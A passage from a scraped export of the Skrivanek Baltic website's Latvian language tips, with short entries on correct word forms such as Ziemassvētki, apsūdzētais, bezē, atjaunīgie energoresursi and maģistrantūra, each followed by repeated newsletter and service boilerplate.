darina, apvienojot vismaz divus patstāvīgus vārdus (Ziemas+svētki) vai patstāvīgu vārdu celmus (Ziem+svētki). Lai gan kalendāros un arī Latvijas Republikas likumā “Par svētku, atceres un atzīmējamām dienām” tiek lietots saliktenis Ziemassvētki, nebūs nepareizi, ja novēlējumos rakstīsiet salikteni Ziemsvētki, arī latviešu tautas dainās varam atrast abus variantus: Ziemassvētki, liela diena, Tie Dievam lieli svētki: Ziemsvētkos Dievs piedzima, Lieldienā šūpli kāra. Tātad varam rakstīt: Vislielāko prieku Ziemassvētki sagādā bērniem. Un varam arī tā: Vislielāko prieku Ziemsvētki sagādā bērniem. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Tiesas sēdē apsūdzētais vēl pēdējā vārdā noliedza savu vainu. Vai — apsūdzamais? Šis un daudzi citi noderīgi latviešu valodas padomi! - Published: 2024-04-19 - Modified: 2024-08-21 - URL: https://skrivanek.lv/apsudzamais-vai-apsudzetais/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional APSŪDZAMAIS VAI APSŪDZĒTAIS 1 Tiesas sēdē apsūdzētais vēl pēdējā vārdā noliedza savu vainu. Vai — apsūdzamais? Latviešu valodas vārdnīcas piedāvā abus variantus, arī Juridisko terminu vārdnīcā abi jēdzieni norādīti kā sinonīmi. Tātad pareizi būs abējādi, tomēr praksē un juridiskajā literatūrā izplatītāks ir termins “apsūdzētais”. Termina “apsūdzētais” definīcija ir atrodama arī LR Kriminālprocesa likumā, kurā teikts, ka apsūdzētais ir “persona, kura ar procesa virzītāja lēmumu saukta pie kriminālatbildības par noziedzīga nodarījuma izdarīšanu un pret kuru uzsāktā kriminālvajāšana nav izbeigta, kura nav attaisnota vai atzīta par vainīgu ar spēkā stājušos tiesas spriedumu”. Tātad tiesas sēdē apsūdzētais vēl pēdējā vārdā noliedza savu vainu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vectēvs sapņoja, ka viņam kādreiz būs savs rančo. Vai – būs sava ranča? Kā ir pareizi? Ieskaties šeit, lai uzzinātu pareizo atbildi! - Published: 2024-04-19 - Modified: 2024-04-19 - URL: https://skrivanek.lv/ranca-vai-ranco/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RANČA VAI RANČO 1 Vectēvs sapņoja, ka viņam kādreiz būs savs rančo. Vai – būs sava ranča? Vectēva sapņos abi vārdi ir pareizi – taču katram ir sava, atšķirīga nozīme. Ja vectēvs sapņo par savu lopkopības fermu, arī kovboju mītni un pagalmu ASV rietumos, tad pareizi būs, ja teiksim: Vectēvs sapņoja, ka viņam kādreiz būs sava ranča. Tā teiksim ar tad, ja domāta vienstāva vai vairāklīmeņu savrupmāja ASV. Redzams, ka abos gadījumos runa ir par īpašumu Amerikas Savienotajās Valstīs. Taču, ja vectēvs sapņo par lauku mājām Latīņamerikā – tad lietosim vārdu ‘rančo’. Vectēvs sapņoja, ka viņam kādreiz būs savs rančo netālu no Sanpaulu. Vectēvs sapņoja, ka viņam kādreiz būs sava ranča kādā no ASV rietumu štatiem. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pensionēšanās vecums ir tas pats, kas darbspējas vecums? Vai – darbspējīgs vecums? Ieskaties šeit, lai uzzinātu pareizo atbildi! - Published: 2024-04-19 - Modified: 2024-04-19 - URL: https://skrivanek.lv/darbspejas-vecums-vai-darbspejigs-vecums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DARBSPĒJAS VECUMS VAI DARBSPĒJĪGS VECUMS 1 Pensionāre ir nesaprašanā – vai pensionēšanās vecums ir tas pats, kas darbspējas vecums? Vai – darbspējīgs vecums? Pensionāres nesapratnei ir zināms pamats, jo tiek nošķirts valsts normatīvajos aktos noteiktais darbspējas vecums, kura laikā veselam cilvēkam pašam jāpelna sev iztikas līdzekļi un katra cilvēka faktiskais darbspējas vecums, kurā viņš var, grib un spēj veikt sabiedrībai vajadzīgu darbu un kas ir atkarīgs no cilvēka veselības, darba piedāvājuma, vēlēšanās strādāt konkrētu darbu un citiem nosacījumiem. Un fakts, ka cilvēkam ir pienācis pensionēšanās vecums, nebūt nenozīmē, ka darbspējas vecums ir beidzies. ‘Darbspēja’, saskaņā ar vārdnīcu šķirkļiem, ir ‘organisma, kā arī tā atsevišķu orgānu un sistēmu spēja izpildīt noteiktu, tiem raksturīgu funkciju, darbu’. Savukārt ‘darbspējas’ ir ‘ir cilvēka spēja ilgu laiku saglabāt pietiekamu darba produktivitāti (ražīgumu)’. Vārds ‘darbspējīgs’ skaidrots šādi: Tāds (cilvēks), kas spēj strādāt algotu darbu/Tāds, kas spēj darboties, veikt paredzētos uzdevumus. Minēties vārdu skaidrojumi ir fakultatīvi, jo LZA Terminoloģijas komisija ir pieņēmusi terminu ‘darbspējas vecums’ – tas ir periods, kurā cilvēks ir spējīgs veikt lietderīgu darbu. Tā kā šis termins ir nedalāma vārdkopa, to nedala atsevišķās sastāvdaļās, lai nezustu vārdkopas nozīme. Tātad teiksim: Pensionāre ir nesaprašanā – vai pensionēšanās vecums ir tas pats, kas darbspējas vecums? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai jūsu ceļojuma galamērķis ir Ibiza vai Eivisa? Vai Ivisa? Ieskaties šeit, lai uzzinātu kā ir pareizi! Šis un citi valodas padomi. - Published: 2024-04-19 - Modified: 2025-04-29 - URL: https://skrivanek.lv/ibiza-vai-ivisa-vai-eivisa/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional IBIZA VAI IVISA VAI EIVISA 1 Vai jūsu ceļojuma galamērķis ir Ibiza vai Eivisa? Vai Ivisa? Spāņu īpašvārds Ibiza latviešu valodā jāatveido kā ‘Ivisa’. Salas nosaukuma izruna ‘Eivisa’ ir katalāņu (šīs valodas paveidā – valensiešu valodā), nevis spāņu valodā. Tā kā īpašvārdu atveides latviešu valodā noteikumi nosaka, ka tie jāatveido pēc izrunas oriģinālvalodā, tad var teikt gan Ivisa, gan Eivisa. Skrivanek skaidrības labad iesaka minēt abus variantus, proti, Ivisas jeb Eivisas sala. Tātad teiksim: Vai jūsu ceļojuma galamērķis ir Ivisa jeb Eivisa? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Iešu cept bizē cepumus. Vai – bezē cepumus? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-04-19 - Modified: 2025-04-16 - URL: https://skrivanek.lv/beze-cepumi-vai-bize-cepumi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BEZĒ CEPUMI VAI BIZĒ CEPUMI 1 Noklausīšos Žorža Bizē “Karmenu” un iešu cept bizē cepumus. Vai – bezē cepumus? Gaisīgos un mutē kūstošos cepumus, kas gatavoti no saputota olas baltuma un cukura, pareizi ir saukt par bezē cepumiem. Vārds ‘bezē’ latviešu valodā ienācis no vācu valodas vārda ‘Baiser’, kas savukārt no brīnišķīga franču valodas vārda ‘baiser’ – skūpsts. Un lai gan šis vārds varētu asociēties ar Karmenu, tomēr komponists ir Žoržs Bizē (Georges Bizet), bet cepumi – bezē. Tādēļ teiksim: Noklausīšos Žorža Bizē “Karmenu” un iešu cept bezē cepumus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kādas ir Jūrmalas perspektīvas atjaunojamo energoresursu ieviešanā? Vai — atjaunīgo energoresursu? Ieskaties šeit, lai uzzinātu atbildi! - Published: 2024-04-19 - Modified: 2024-11-26 - URL: https://skrivanek.lv/atjaunigie-energoresursi-vai-atjaunojamie-energoresursi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATJAUNĪGIE ENERGORESURSI VAI ATJAUNOJAMIE ENERGORESURSI 1 Kādas ir Jūrmalas perspektīvas atjaunojamo energoresursu ieviešanā? Vai — atjaunīgo energoresursu? Lai gan nereti pat oficiālās mājaslapās un dokumentos var lasīt vārdkopu ‘atjaunojamie energoresursi’, tomēr pareizi būs teikt – atjaunīgie energoresursi. Šāds termins ir pieņemts, pamatojoties uz valodas loģikas spriedumu, ka šie resursi atjaunojas paši, bet atjaunojamie resursi būtu kādam/kādai/kādiem jāatjauno. Atjaunīgo resursu skaidrojums ir šāds – tie ir apzinātie energoresursi, kuru atjaunošanos nosaka dabas procesi. Tā ir saules, vēja, biomasas, zemes siltuma un ūdens potenciālās enerģijas daļa, kuras izmantošana pašreizējā tehnikas līmenī ir ekonomiski pamatota. Lai gan var lietot arī vārdkopas sinonīmu ‘reģeneratīvie energoresursi’, tomēr Skrivanek iesaka lietot latvisko variantu – atjaunīgie energoresursi. Tātad teiksim: kādas ir Jūrmalas perspektīvas atjaunīgo energoresursu ieviešanā? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Gandrīz visām ziemas jakām auduma sastāvā ir 100% poliesters vai poliesteris? Ieskaties, šis un daudzi citi latviešu valodas padomi! - Published: 2024-04-19 - Modified: 2024-08-14 - URL: https://skrivanek.lv/poliesters-vai-poliesteris/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional POLIESTERS VAI POLIESTERIS 1 Gandrīz visām ziemas jakām auduma sastāvā ir 100% poliesters vai poliesteris? Poliesteris ir ķīmiska tekstilšķiedra. Mūsdienu latviešu valodas vārdnīcā ir “poliesteris”. Lai atcerētos, kā pareizi rakstīt šo svešvārdu, Skrivanek iesaka: ķīmijā ir “-is”: ēteris (nevis ēters), esteris (nevis esters), tātad gluži vai skaitāmpantiņš: ēteris, esteris, poliesteris. Tātad teiksim: jaunajā ziemas kolekcijā gandrīz visām jakām auduma sastāvā ir 100% poliesteris. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Brīvdienu ceļojumā noteikti gribētu ieraudzīt kakadu. Vai kakadū? Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-04-19 - Modified: 2024-10-22 - URL: https://skrivanek.lv/kakadu-vai-kakadu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KAKADU VAI KAKADŪ 1 Brīvdienu ceļojumā noteikti gribētu ieraudzīt kakadu. Vai kakadū? Vārds cēlies no vācu valodas vārda ‘Kakadu’, kas savukārt nāk no holandiešu < malajiešu vārda ‘kakatua’. Pareizi jāraksta: kakadu. Kāpēc nereti, visbiežāk jau tīmeklī, sastopams “kakadū”? Iespējams tāpēc, ka daudzi svešvārdi tiek izrunāti ar uzsvaru uz pēdējo zilbi un arī sakot “kakadū”, cilvēki šim vārdam tādējādi piešķir aizjūrīgāku skanējumu. Tātad brīvdienu ceļojumā noteikti gribētu ieraudzīt kakadu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Cik gan daudz noderīga mums vēsta Talmuds. Vai Talmūds? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi! - Published: 2024-04-19 - Modified: 2024-08-26 - URL: https://skrivanek.lv/talmuds/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TALMUDS VAI TALMŪDS 1 Cik gan daudz noderīga mums vēsta Talmuds. Vai Talmūds? Savā rituālajā un sadzīviskajā praksē jūdaisms balstās ne tikai Torā, Praviešu grāmatās (Neviīm) un Rakstos (Ktuvim), bet arī Talmūdā (ivritā תלמוד ‘mācība’) – 2. –5. gs. pierakstītajā ebreju mutvārdu tradīcijas iztirzājumu kodeksā. No Talmūda ir atvasināti reliģiskās likumdošanas un ikdienišķās uzvedības kodeksi. Svešvārdu vārdnīcā atrodam skaidrojumu: jūdaisma reliģisko, ētisko un tiesisko likumu krājums, savukārt tezaurs. lv: jūdaisma reliģisko, filozofisko, ētisko, tiesisko, sadzīves priekšrakstu, mācību krājums. Šajā pat avotā piezīme, ka ‘Talmuds’ ir novecojis šā vārda rakstības variants. Tātad teiksim: Cik gan daudz noderīga mums vēsta Talmūds. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai studēt maģistrantūrā? Vai maģistratūrā? Ieskaties šeit, lai uzzinātu pareizo atbildi! Šis un daudzi citi latviešu valodas padomi! - Published: 2024-04-19 - Modified: 2024-10-23 - URL: https://skrivanek.lv/magistratura-vai-magistrantura/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MAĢISTRATŪRA VAI MAĢISTRANTŪRA 1 Bakalaura diploms kabatā, jāsāk domāt par studiju turpināšanu. Vai studēt maģistrantūrā? Vai maģistratūrā? Abi vārdi ir pareizi, tomēr jāatceras, ka “maģistrantūra” ir maģistru gatavošanas sistēma augstskolās; studiju posms, kas nepieciešams maģistra akadēmiskā grāda iegūšanai. Lai vieglāk būtu atcerēties, Skrivanek iesaka izmantot analoģiju ar vārdu doktorantūra (jo mēs taču neteiksim doktoratūra). Savukārt vārdam “maģistratūra” ir divas nozīmes, kas būs saprotamas tikai kontekstā. Proti, pirmā nozīme — tiesas iestāžu amatpersonu kopums, bet otra nozīme ir saistīta ar vēsturi — tie ir augstākie valsts amati Senajā Romā. Līdzīgs nozīmē un rakstībā ir arī vārds “maģistrāts” ar nozīmi pārvalde, amatpersona. Tātad teiksim: Bakalaura diploms kabatā, jāsāk domāt par studiju turpināšanu maģistrantūrā! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Atslēgvārdi vai atslēgas vārdi? Kurš variants ir pareizs? Ieskaties šeit. Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-04-19 - Modified: 2024-08-12 - URL: https://skrivanek.lv/atslegvardi-vai-atslegas-vardi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATSLĒGVĀRDI VAI ATSLĒGAS VĀRDI 1 Pētījums skolēnu zinātniskās pētniecības darbu konkursam pabeigts un uzrakstīts. Tagad tik jāuzraksta ievads un jākonkretizē atslēgas vārdi? Vai atslēgvārdi? Tātad abi varianti ir pareizi. Par atslēgas vārdiem sauc ‘vārdus vai vārdkopas, ko izmanto kāda teksta vai dokumenta satura noteikšanai vai meklēšanai’. Ikdienā visbiežāk ar to 